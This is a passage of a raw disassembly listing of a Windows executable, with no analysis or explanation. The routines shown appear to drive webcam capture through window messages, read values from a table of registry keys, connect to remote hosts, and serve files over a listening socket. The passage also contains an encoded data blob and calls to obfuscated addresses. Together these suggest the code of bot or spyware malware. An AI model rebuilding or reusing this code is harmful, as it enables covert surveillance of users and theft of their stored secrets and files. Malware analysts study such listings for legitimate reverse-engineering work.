[ebp+var_10] mov [eax+0Eh], cx mov eax, [ebp+var_44] and dword ptr [eax+14h], 0 mov eax, [ebp+var_44] and dword ptr [eax+10h], 0 mov eax, [ebp+var_44] and dword ptr [eax+20h], 0 mov eax, [ebp+var_44] and dword ptr [eax+24h], 0 mov eax, [ebp+var_44] mov word ptr [eax+0Ch], 1 mov eax, [ebp+var_44] and byte ptr [eax+28h], 0 mov eax, [ebp+var_44] and byte ptr [eax+29h], 0 mov eax, [ebp+var_44] and byte ptr [eax+2Ah], 0 mov eax, [ebp+var_44] and byte ptr [eax+2Bh], 0 push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417D19 push [ebp+var_44] push [ebp+var_14] push 42Dh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_5C], eax jmp short loc_417D1D ; --------------------------------------------------------------------------- loc_417D19: ; CODE XREF: sub_417AFA+204j and [ebp+var_5C], 0 loc_417D1D: ; CODE XREF: sub_417AFA+21Dj push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417D41 push 0 push 0 push 43Dh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_60], eax jmp short loc_417D45 ; --------------------------------------------------------------------------- loc_417D41: ; CODE XREF: sub_417AFA+22Ej and [ebp+var_60], 0 loc_417D45: ; CODE XREF: sub_417AFA+245j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417D6A push [ebp+arg_0] push 0 push 419h push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_64], eax jmp short loc_417D6E ; --------------------------------------------------------------------------- loc_417D6A: ; CODE XREF: sub_417AFA+256j and [ebp+var_64], 0 loc_417D6E: ; CODE XREF: sub_417AFA+26Ej push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417D94 push [ebp+var_48] push [ebp+var_14] push 42Dh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_68], eax jmp short loc_417D98 ; --------------------------------------------------------------------------- loc_417D94: ; CODE XREF: sub_417AFA+27Fj and [ebp+var_68], 0 loc_417D98: ; CODE XREF: sub_417AFA+298j push [ebp+var_48] call sub_41F930 pop ecx push [ebp+var_44] call sub_41F930 pop ecx push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417DCE push 0 push 0 push 40Bh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_6C], eax jmp short loc_417DD2 ; --------------------------------------------------------------------------- loc_417DCE: ; CODE XREF: sub_417AFA+2BBj and [ebp+var_6C], 0 loc_417DD2: ; CODE XREF: sub_417AFA+2D2j push [ebp+var_4] call dword_4E17B0 ; DestroyWindow xor eax, eax locret_417DDD: ; CODE XREF: sub_417AFA+35j ; sub_417AFA+75j ... leave retn sub_417AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DDF proc near ; CODE XREF: sub_4021E5+5FEAp var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_94 = dword ptr -94h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0DCh push 1 push dword_4E85B4 push 78h push 0A0h push 0 push 0 push 40000000h push offset aWindow_0 ; "Window" call dword_4E1650 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_417E1C push 1 pop eax jmp locret_4181F9 ; --------------------------------------------------------------------------- loc_417E1C: ; CODE XREF: sub_417DDF+33j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417E44 push 0 push [ebp+arg_4] push 40Ah push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_B4], eax jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E44: ; CODE XREF: sub_417DDF+48j and [ebp+var_B4], 0 loc_417E4B: ; CODE XREF: sub_417DDF+63j cmp [ebp+var_B4], 0 jnz short loc_417E65 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_4181F9 ; --------------------------------------------------------------------------- loc_417E65: ; CODE XREF: sub_417DDF+73j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417E91 lea eax, [ebp+var_A8] push eax push 2Ch push 40Eh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_B8], eax jmp short loc_417E98 ; --------------------------------------------------------------------------- loc_417E91: ; CODE XREF: sub_417DDF+91j and [ebp+var_B8], 0 loc_417E98: ; CODE XREF: sub_417DDF+B0j cmp [ebp+var_94], 0 jnz short loc_417EB2 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_4181F9 ; --------------------------------------------------------------------------- loc_417EB2: ; CODE XREF: sub_417DDF+C0j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417ED9 push 0 push 0 push 42Ch push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_BC], eax jmp short loc_417EE0 ; --------------------------------------------------------------------------- loc_417ED9: ; CODE XREF: sub_417DDF+DEj and [ebp+var_BC], 0 loc_417EE0: ; CODE XREF: sub_417DDF+F8j mov eax, [ebp+var_BC] mov [ebp+var_78], eax push [ebp+var_78] call sub_41EDA0 pop ecx mov [ebp+var_B0], eax cmp [ebp+var_B0], 0 jnz short loc_417F12 push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_4181F9 ; --------------------------------------------------------------------------- loc_417F12: ; CODE XREF: sub_417DDF+120j push [ebp+var_78] call sub_41EDA0 pop ecx mov [ebp+var_AC], eax cmp [ebp+var_AC], 0 jnz short loc_417F3B push [ebp+var_4] call dword_4E17B0 ; DestroyWindow push 1 pop eax jmp locret_4181F9 ; --------------------------------------------------------------------------- loc_417F3B: ; CODE XREF: sub_417DDF+149j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_417F67 push [ebp+var_B0] push [ebp+var_78] push 42Ch push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_C0], eax jmp short loc_417F6E ; --------------------------------------------------------------------------- loc_417F67: ; CODE XREF: sub_417DDF+167j and [ebp+var_C0], 0 loc_417F6E: ; CODE XREF: sub_417DDF+186j push [ebp+var_78] push [ebp+var_B0] push [ebp+var_AC] call sub_422B50 add esp, 0Ch mov [ebp+var_10], 5 cmp [ebp+arg_8], 0 jg short loc_417F9B mov [ebp+var_10], 5 jmp short loc_417FA1 ; --------------------------------------------------------------------------- loc_417F9B: ; CODE XREF: sub_417DDF+1B1j mov eax, [ebp+arg_8] mov [ebp+var_C], eax loc_417FA1: ; CODE XREF: sub_417DDF+1BAj cmp [ebp+arg_C], 0 jg short loc_417FB0 mov [ebp+var_C], 0A0h jmp short loc_417FB6 ; --------------------------------------------------------------------------- loc_417FB0: ; CODE XREF: sub_417DDF+1C6j mov eax, [ebp+arg_C] mov [ebp+var_C], eax loc_417FB6: ; CODE XREF: sub_417DDF+1CFj cmp [ebp+arg_10], 0 jg short loc_417FC5 mov [ebp+var_8], 78h jmp short loc_417FCB ; --------------------------------------------------------------------------- loc_417FC5: ; CODE XREF: sub_417DDF+1DBj mov eax, [ebp+arg_10] mov [ebp+var_8], eax loc_417FCB: ; CODE XREF: sub_417DDF+1E4j mov [ebp+var_74], 10h mov [ebp+var_7C], 0Fh mov eax, [ebp+var_AC] mov ecx, [ebp+var_C] mov [eax+4], ecx mov eax, [ebp+var_AC] mov ecx, [ebp+var_8] mov [eax+8], ecx mov eax, [ebp+var_AC] mov cx, word ptr [ebp+var_74] mov [eax+0Eh], cx mov eax, [ebp+var_AC] and dword ptr [eax+14h], 0 mov eax, [ebp+var_AC] and dword ptr [eax+10h], 0 mov eax, [ebp+var_AC] and dword ptr [eax+20h], 0 mov eax, [ebp+var_AC] and dword ptr [eax+24h], 0 mov eax, [ebp+var_AC] mov word ptr [eax+0Ch], 1 mov eax, [ebp+var_AC] and byte ptr [eax+28h], 0 mov eax, [ebp+var_AC] and byte ptr [eax+29h], 0 mov eax, [ebp+var_AC] and byte ptr [eax+2Ah], 0 mov eax, [ebp+var_AC] and byte ptr [eax+2Bh], 0 push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_418087 push [ebp+var_AC] push [ebp+var_78] push 42Dh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_C4], eax jmp short loc_41808E ; --------------------------------------------------------------------------- loc_418087: ; CODE XREF: sub_417DDF+287j and [ebp+var_C4], 0 loc_41808E: ; CODE XREF: sub_417DDF+2A6j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_4180B7 lea eax, [ebp+var_70] push eax push 60h push 441h push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_C8], eax jmp short loc_4180BE ; --------------------------------------------------------------------------- loc_4180B7: ; CODE XREF: sub_417DDF+2BAj and [ebp+var_C8], 0 loc_4180BE: ; CODE XREF: sub_417DDF+2D6j and [ebp+var_6C], 0 and [ebp+var_48], 0 and [ebp+var_44], 0 and [ebp+var_40], 0 mov [ebp+var_3C], 1 mov eax, [ebp+var_10] mov [ebp+var_38], eax mov eax, 0F4240h xor edx, edx div [ebp+var_7C] mov [ebp+var_70], eax push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_418111 lea eax, [ebp+var_70] push eax push 60h push 440h push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_CC], eax jmp short loc_418118 ; --------------------------------------------------------------------------- loc_418111: ; CODE XREF: sub_417DDF+314j and [ebp+var_CC], 0 loc_418118: ; CODE XREF: sub_417DDF+330j push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_418140 push [ebp+arg_0] push 0 push 414h push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_D0], eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418140: ; CODE XREF: sub_417DDF+344j and [ebp+var_D0], 0 loc_418147: ; CODE XREF: sub_417DDF+35Fj push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_41816E push 0 push 0 push 43Eh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_D4], eax jmp short loc_418175 ; --------------------------------------------------------------------------- loc_41816E: ; CODE XREF: sub_417DDF+373j and [ebp+var_D4], 0 loc_418175: ; CODE XREF: sub_417DDF+38Dj push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_4181A1 push [ebp+var_B0] push [ebp+var_78] push 42Dh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_D8], eax jmp short loc_4181A8 ; --------------------------------------------------------------------------- loc_4181A1: ; CODE XREF: sub_417DDF+3A1j and [ebp+var_D8], 0 loc_4181A8: ; CODE XREF: sub_417DDF+3C0j push [ebp+var_B0] call sub_41F930 pop ecx push [ebp+var_AC] call sub_41F930 pop ecx push [ebp+var_4] call dword_4E16A0 ; IsWindow test eax, eax jz short loc_4181E7 push 0 push 0 push 40Bh push [ebp+var_4] call dword_4E175C ; SendMessageA mov [ebp+var_DC], eax jmp short loc_4181EE ; --------------------------------------------------------------------------- loc_4181E7: ; CODE XREF: sub_417DDF+3ECj and [ebp+var_DC], 0 loc_4181EE: ; CODE XREF: sub_417DDF+406j push [ebp+var_4] call dword_4E17B0 ; DestroyWindow xor eax, eax locret_4181F9: ; CODE XREF: sub_417DDF+38j ; sub_417DDF+81j ... leave retn sub_417DDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181FB proc near ; CODE XREF: sub_4021E5+2E74p var_3FC = dword ptr -3FCh var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_374 = byte ptr -374h var_174 = dword ptr -174h var_170 = dword ptr -170h var_16C = byte ptr -16Ch var_68 = dword ptr -68h var_64 = byte ptr -64h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3FCh mov [ebp+var_174], 80h and [ebp+var_170], 0 jmp short loc_418224 ; --------------------------------------------------------------------------- loc_418217: ; CODE XREF: sub_4181FB+26Dj mov eax, [ebp+var_170] inc eax mov [ebp+var_170], eax loc_418224: ; CODE XREF: sub_4181FB+1Aj mov eax, [ebp+var_170] imul eax, 18h cmp off_44C53C[eax], 0 jz locret_41846D lea eax, [ebp+var_3F8] push eax push 20019h push 0 mov eax, [ebp+var_170] imul eax, 18h push off_44C53C[eax] mov eax, [ebp+var_170] imul eax, 18h push dword_44C538[eax] call dword_4E1770 ; RegOpenKeyExA mov [ebp+var_68], eax lea eax, [ebp+var_174] push eax lea eax, [ebp+var_3F4] push eax push 0 push 0 mov eax, [ebp+var_170] imul eax, 18h push off_44C540[eax] push [ebp+var_3F8] call dword_4E1600 ; RegQueryValueExA test eax, eax jnz loc_41845C mov eax, [ebp+var_170] imul eax, 18h cmp dword_44C548[eax], 0 jz loc_41840B mov eax, [ebp+var_170] imul eax, 18h push dword_44C548[eax] lea eax, [ebp+var_3F4] push eax push offset aSS_9 ; "%s\\%s" lea eax, [ebp+var_16C] push eax call sub_4219C0 add esp, 10h push offset aR_2 ; "r" lea eax, [ebp+var_16C] push eax call sub_4213F0 pop ecx pop ecx mov [ebp+var_3FC], eax cmp [ebp+var_3FC], 0 jz loc_418409 loc_41830A: ; CODE XREF: sub_4181FB:loc_4183F8j push [ebp+var_3FC] push 64h lea eax, [ebp+var_64] push eax call sub_4223D0 add esp, 0Ch test eax, eax jz loc_4183FD mov eax, [ebp+var_170] imul eax, 18h push dword_44C54C[eax] lea eax, [ebp+var_64] push eax call sub_421B10 pop ecx pop ecx test eax, eax jnz loc_4183F8 push 3Dh mov eax, [ebp+var_170] imul eax, 18h push dword_44C54C[eax] call sub_422680 pop ecx pop ecx test eax, eax jz short loc_4183A8 push offset asc_44D810 ; "=" lea eax, [ebp+var_64] push eax call sub_4227D0 pop ecx pop ecx push offset asc_44D814 ; "=" push 0 call sub_4227D0 pop ecx pop ecx push eax mov eax, [ebp+var_170] imul eax, 18h push off_44C544[eax] push offset dword_44D818 lea eax, [ebp+var_374] push eax call sub_4219C0 add esp, 10h jmp short loc_4183CF ; --------------------------------------------------------------------------- loc_4183A8: ; CODE XREF: sub_4181FB+167j lea eax, [ebp+var_64] push eax mov eax, [ebp+var_170] imul eax, 18h push off_44C544[eax] push offset dword_44D830 lea eax, [ebp+var_374] push eax call sub_4219C0 add esp, 10h loc_4183CF: ; CODE XREF: sub_4181FB+1ABj push 0 push [ebp+arg_8] lea eax, [ebp+var_374] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_374] push eax call sub_4173DC pop ecx jmp short loc_4183FD ; --------------------------------------------------------------------------- loc_4183F8: ; CODE XREF: sub_4181FB+147j jmp loc_41830A ; --------------------------------------------------------------------------- loc_4183FD: ; CODE XREF: sub_4181FB+125j ; sub_4181FB+1FBj push [ebp+var_3FC] call sub_41EC50 pop ecx loc_418409: ; CODE XREF: sub_4181FB+109j jmp short loc_41845C ; --------------------------------------------------------------------------- loc_41840B: ; CODE XREF: sub_4181FB+B9j lea eax, [ebp+var_3F4] push eax mov eax, [ebp+var_170] imul eax, 18h push off_44C544[eax] push offset dword_44D848 lea eax, [ebp+var_374] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+arg_8] lea eax, [ebp+var_374] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_374] push eax call sub_4173DC pop ecx loc_41845C: ; CODE XREF: sub_4181FB+A3j ; sub_4181FB:loc_418409j push [ebp+var_3F8] call dword_4E16DC ; RegCloseKey jmp loc_418217 ; --------------------------------------------------------------------------- locret_41846D: ; CODE XREF: sub_4181FB+39j leave retn sub_4181FB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_418492 or eax, 0FFFFFFFFh jmp locret_418528 ; --------------------------------------------------------------------------- loc_418492: ; CODE XREF: .XComp0:00418488j push 10h push 0 lea eax, [ebp-18h] push eax call sub_421410 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp+0Ch] call dword_4E1700 ; ntohs mov [ebp-16h], ax push dword ptr [ebp+8] call dword_4E1740 ; inet_addr mov [ebp-4], eax and dword ptr [ebp-1Ch], 0 cmp dword ptr [ebp-4], 0FFFFFFFFh jnz short loc_4184D7 push dword ptr [ebp+8] call dword_4E1784 ; gethostbyname mov [ebp-1Ch], eax loc_4184D7: ; CODE XREF: .XComp0:004184C9j cmp dword ptr [ebp-1Ch], 0 jnz short loc_4184E8 cmp dword ptr [ebp-4], 0FFFFFFFFh jnz short loc_4184E8 or eax, 0FFFFFFFFh jmp short locret_418528 ; --------------------------------------------------------------------------- loc_4184E8: ; CODE XREF: .XComp0:004184DBj ; .XComp0:004184E1j cmp dword ptr [ebp-1Ch], 0 jz short loc_4184FD mov eax, [ebp-1Ch] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax jmp short loc_418503 ; --------------------------------------------------------------------------- loc_4184FD: ; CODE XREF: .XComp0:004184ECj mov eax, [ebp-4] mov [ebp-14h], eax loc_418503: ; CODE XREF: .XComp0:004184FBj push 10h lea eax, [ebp-18h] push eax push dword ptr [ebp-8] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_418525 push dword ptr [ebp-8] call dword_4E1798 ; closesocket or eax, 0FFFFFFFFh jmp short locret_418528 ; --------------------------------------------------------------------------- loc_418525: ; CODE XREF: .XComp0:00418515j mov eax, [ebp-8] locret_418528: ; CODE XREF: .XComp0:0041848Dj ; .XComp0:004184E6j ... leave retn ; --------------------------------------------------------------------------- word_41852A dw 8B55h ; DATA XREF: sub_4021E5+E25o dd 11BCB8ECh, 0A9E80000h, 56000099h, 8758B57h, 8D596D6Ah dd 0FFFE48BDh, 8BA5F3FFh, 45890845h, 0FC458BFCh, 1B080C7h dd 10000h, 75FF0000h, 50858DE8h, 50FFFFFEh, 0FFFF06E8h dd 895959FFh, 0FFFE4485h, 44BD83FFh, 0FFFFFFFEh, 60685875h dd 8D0044D8h, 0FFEE4485h, 35E850FFh, 59000094h, 0F47D8359h dd 6A217500h, 0F075FF00h, 0EE44858Dh, 8D50FFFFh, 0FFFF6885h dd 0B5FF50FFh, 0FFFFFE44h, 0FF2A5EE8h, 14C483FFh, 0EE44858Dh dd 0E850FFFFh, 0FFFFEE1Ch, 0EC75FF59h, 0FF5239E8h, 16A59FFh dd 7A2EE890h, 1868023Eh, 0FF004E86h, 0FFFE44B5h, 4F01E8FFh dd 59590000h, 75FFF883h, 0D8846864h, 858D0044h, 0FFFFEE44h dd 93C6E850h, 59590000h, 0F47D83h, 6A2175h, 8DF075FFh dd 0FFEE4485h, 858D50FFh, 0FFFFFF68h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF29EFh, 8D14C483h, 0FFEE4485h, 0ADE850FFh, 59FFFFEDh dd 0FE44B5FFh, 15FFFFFFh, 4E1798h, 0E8EC75FFh, 0FFFF51BEh dd 90016A59h, 3E79B3E8h, 90646A02h, 3879ABE8h, 58016A02h dd 7474C085h, 100068h, 8D006A00h, 0FFEE4485h, 0A1E850FFh dd 8300008Dh, 6A0CC4h, 100068h, 44858D00h, 50FFFFEEh, 0FE44B5FFh dd 15FFFFFFh, 4E1718h, 27FC085h, 0B4683EEBh, 8D0044D8h dd 0FFEE4485h, 0EDE850FFh, 5900009Eh, 44858D59h, 50FFFFEEh dd 4B9BE8h, 0C0855900h, 18EB0275h, 0E890646Ah, 2387940h dd 12E80A6Ah, 59FFFF50h, 275C085h, 85EB02EBh, 44D8B868h dd 44858D00h, 50FFFFEEh, 92DFE8h, 83595900h, 7500F47Dh dd 0FF006A21h, 858DF075h, 0FFFFEE44h, 68858D50h, 50FFFFFFh dd 0FE44B5FFh, 8E8FFFFh, 83FFFF29h, 858D14C4h, 0FFFFEE44h dd 0ECC6E850h, 0FF59FFFFh, 0FFFE44B5h, 9815FFFFh, 0FF004E17h dd 0D7E8EC75h, 59FFFF50h, 0E890006Ah, 23E78CCh, 0C2C95E5Fh db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873A proc near ; DATA XREF: sub_4021E5+4FD9o var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = word ptr -0A14h var_A12 = dword ptr -0A12h var_A04 = byte ptr -0A04h var_A00 = dword ptr -0A00h var_9F4 = dword ptr -9F4h var_9F0 = dword ptr -9F0h var_9EC = dword ptr -9ECh var_9E8 = dword ptr -9E8h var_9E4 = dword ptr -9E4h var_8E4 = dword ptr -8E4h var_8E0 = dword ptr -8E0h var_8DC = word ptr -8DCh var_8D8 = dword ptr -8D8h var_8D4 = byte ptr -8D4h var_6D4 = byte ptr -6D4h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = dword ptr -1BCh var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A24h push esi push edi mov esi, [ebp+arg_0] push 6Dh pop ecx lea edi, [ebp+var_1C0] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword ptr [eax+1B0h], 1 and [ebp+var_1C8], 0 and [ebp+var_1C4], 0 and [ebp+var_8D8], 0 push 1 pop eax test eax, eax jz loc_418C63 push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_2D4], eax cmp [ebp+var_2D4], 0FFFFFFFFh jnz short loc_4187B9 push offset unk_44D8EC lea eax, [ebp+var_8D4] push eax call sub_4219C0 pop ecx pop ecx jmp loc_418C63 ; --------------------------------------------------------------------------- loc_4187B9: ; CODE XREF: sub_41873A+65j push 10h push 0 lea eax, [ebp+var_A14] push eax call sub_421410 add esp, 0Ch mov [ebp+var_A14], 2 push 0 call dword_4E1700 ; ntohs mov word ptr [ebp+var_A12], ax and [ebp+var_A12+2], 0 push 10h lea eax, [ebp+var_A14] push eax push [ebp+var_2D4] call dword_4E172C ; bind test eax, eax jz short loc_41881C push offset unk_44D910 lea eax, [ebp+var_8D4] push eax call sub_4219C0 pop ecx pop ecx jmp loc_418C63 ; --------------------------------------------------------------------------- loc_41881C: ; CODE XREF: sub_41873A+C8j mov [ebp+var_A18], 10h lea eax, [ebp+var_A18] push eax lea eax, [ebp+var_A14] push eax push [ebp+var_2D4] call dword_4E16A4 ; getsockname push [ebp+var_A12] call dword_4E1630 ; ntohs mov [ebp+var_8DC], ax and [ebp+var_9EC], 0 jmp short loc_418869 ; --------------------------------------------------------------------------- loc_41885C: ; CODE XREF: sub_41873A+18Aj mov eax, [ebp+var_9EC] inc eax mov [ebp+var_9EC], eax loc_418869: ; CODE XREF: sub_41873A+120j lea eax, [ebp+var_1A4] push eax call sub_41EBD0 pop ecx cmp [ebp+var_9EC], eax ja short loc_4188C6 mov eax, [ebp+var_9EC] loc_418884: ; DATA XREF: .XComp0:005CAA09o ; .XComp0:005CAA0Do ... movsx eax, [ebp+eax+var_1A4] cmp eax, 20h jnz short loc_41889D mov [ebp+var_A24], 5Fh jmp short loc_4188B1 ; --------------------------------------------------------------------------- loc_41889D: ; CODE XREF: sub_41873A+155j mov eax, [ebp+var_9EC] movsx eax, [ebp+eax+var_1A4] mov [ebp+var_A24], eax loc_4188B1: ; CODE XREF: sub_41873A+161j mov eax, [ebp+var_9EC] mov cl, byte ptr [ebp+var_A24] mov [ebp+eax+var_2CC], cl jmp short loc_41885C ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_41873A+142j push 1 push [ebp+var_2D4] call dword_4E1728 ; listen test eax, eax jz short loc_4188F0 push offset unk_44D934 lea eax, [ebp+var_8D4] push eax call sub_4219C0 pop ecx pop ecx jmp loc_418C63 ; --------------------------------------------------------------------------- loc_4188F0: ; CODE XREF: sub_41873A+19Cj push 0 push 0 push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_1A4] push eax nop call near ptr 2851454h mov [ebp+var_8E4], eax cmp [ebp+var_8E4], 0FFFFFFFFh jnz short loc_418933 push offset unk_44D958 lea eax, [ebp+var_8D4] push eax call sub_4219C0 pop ecx pop ecx jmp loc_418C63 ; --------------------------------------------------------------------------- loc_418933: ; CODE XREF: sub_41873A+1DFj push 0 push [ebp+var_8E4] call near ptr 285107Bh nop mov [ebp+var_8E0], eax push [ebp+var_8E0] movzx eax, [ebp+var_8DC] push eax push [ebp+var_1C0] call sub_40C86E pop ecx push eax call dword_4E1740 ; inet_addr push eax call dword_4E16FC ; ntohl push eax lea eax, [ebp+var_1A4] push eax push offset dword_44D978 lea eax, [ebp+var_8D4] push eax call sub_4219C0 add esp, 18h push 0 push 0 lea eax, [ebp+var_8D4] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40B00F add esp, 14h mov [ebp+var_9F4], 3Ch and [ebp+var_9F0], 0 and [ebp+var_9E8], 0 loc_4189C3: ; CODE XREF: sub_41873A+301j and [ebp+var_A20], 0 jmp short loc_4189D9 ; --------------------------------------------------------------------------- loc_4189CC: ; CODE XREF: sub_41873A:loc_4189FEj mov eax, [ebp+var_A20] inc eax mov [ebp+var_A20], eax loc_4189D9: ; CODE XREF: sub_41873A+290j mov eax, [ebp+var_A20] cmp eax, [ebp+var_9E8] jnb short loc_418A00 mov eax, [ebp+var_A20] mov eax, [ebp+eax*4+var_9E4] cmp eax, [ebp+var_2D4] jnz short loc_4189FE jmp short loc_418A00 ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_41873A+2C0j jmp short loc_4189CC ; --------------------------------------------------------------------------- loc_418A00: ; CODE XREF: sub_41873A+2ABj ; sub_41873A+2C2j mov eax, [ebp+var_A20] cmp eax, [ebp+var_9E8] jnz short loc_418A37 cmp [ebp+var_9E8], 40h jnb short loc_418A37 mov eax, [ebp+var_A20] mov ecx, [ebp+var_2D4] mov [ebp+eax*4+var_9E4], ecx mov eax, [ebp+var_9E8] inc eax mov [ebp+var_9E8], eax loc_418A37: ; CODE XREF: sub_41873A+2D2j ; sub_41873A+2DBj xor eax, eax test eax, eax jnz short loc_4189C3 lea eax, [ebp+var_9F4] push eax push 0 push 0 lea eax, [ebp+var_9E8] push eax push 0 call dword_4E16E8 ; select test eax, eax jg short loc_418A7F push 0 push [ebp+var_18] push offset dword_44D990 lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40B00F add esp, 14h jmp loc_418C63 ; --------------------------------------------------------------------------- loc_418A7F: ; CODE XREF: sub_41873A+31Fj mov [ebp+var_A1C], 10h lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_A04] push eax push [ebp+var_2D4] call dword_4E1794 ; accept mov [ebp+var_1BC], eax cmp [ebp+var_1BC], 0FFFFFFFFh jnz short loc_418ACA push offset unk_44D9A8 lea eax, [ebp+var_8D4] push eax call sub_4219C0 pop ecx pop ecx jmp loc_418C63 ; --------------------------------------------------------------------------- loc_418ACA: ; CODE XREF: sub_41873A+376j push [ebp+var_2D4] call dword_4E1798 ; closesocket loc_418AD6: ; CODE XREF: sub_41873A+4D3j cmp [ebp+var_8E0], 0 jz loc_418C12 mov [ebp+var_C], 400h mov eax, [ebp+var_C] cmp eax, [ebp+var_8E0] jle short loc_418AFE mov eax, [ebp+var_8E0] mov [ebp+var_C], eax loc_418AFE: ; CODE XREF: sub_41873A+3B9j xor eax, eax sub eax, [ebp+var_8E0] mov [ebp+var_2D0], eax push 400h push 0 lea eax, [ebp+var_6D4] push eax call sub_421410 add esp, 0Ch push 2 push 0 push [ebp+var_2D0] push [ebp+var_8E4] nop call near ptr 2891214h push 0 lea eax, [ebp+var_8D8] push eax push [ebp+var_C] lea eax, [ebp+var_6D4] push eax push [ebp+var_8E4] call near ptr 28108CCh nop push 0 push [ebp+var_C] lea eax, [ebp+var_6D4] push eax push [ebp+var_1BC] call dword_4E1750 ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] cdq mov ecx, [ebp+var_1C8] add ecx, eax mov eax, [ebp+var_1C4] adc eax, edx mov [ebp+var_1C8], ecx mov [ebp+var_1C4], eax push 0 push 400h lea eax, [ebp+var_6D4] push eax push [ebp+var_1BC] call dword_4E1718 ; recv cmp eax, 1 jl short loc_418BB7 cmp [ebp+var_4], 1 jge short loc_418BFE loc_418BB7: ; CODE XREF: sub_41873A+475j push 0 push 